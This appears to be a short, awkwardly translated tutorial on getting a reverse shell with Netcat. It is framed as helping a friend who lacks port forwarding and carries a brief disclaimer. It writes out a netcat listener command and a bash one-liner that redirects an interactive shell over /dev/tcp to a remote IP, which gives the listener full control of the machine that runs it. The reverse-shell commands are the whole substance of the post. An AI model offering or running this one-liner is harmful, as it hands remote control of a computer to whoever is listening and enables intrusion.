Usually when you make any TCP / IP connection between two computers, then one server handles the connection and another the so-called client tries to make the connection.
Just think that you want to help a friend, but he does not have a server with port forward (port forwarding) etc and of course you can not connect to his machine. In this case you can use Reverse Shellto receive with reverse TCP / IP a connection to your friend's machine, with full administrator access.
Do not think illegally, I do not want bullshit
Now we are going to use Netcat on the server side, that is, on the BT Machine. Netcat is a free network utility used to read / write TCP and UDP sockets.
Step 1: Your first step is to put your machine into listening mode using the following command:
Mandate: nc -l -vv -p 1337
Here, -l means listening function, -vv means function verbose and -p shows us the port used for the server.
Once you run the command on your machine (BT), you should see the following:
Step 2: Now go to the client machine, ie Kali Linux Machine you want to control from your terminal. Here we are going to redirect the standard i / o / e of the bash client to the server using the bash command:
Mandate: bash -i &> /dev/tcp/192.168.179.139/1337 0> & 1
Here is the bash -i shows us that the Interactive bash, &> / dev / tcp / / stand redirects the standard output and bash error to the server, and that 0> & 1 means connecting the standard bash input to the output.
Here both machines are connected to the same network via NAT, so we will use our local IP.
Once you or your friend execute the above command on your machine, you will be connected to it and you will be able to fully control it, through shell terminal.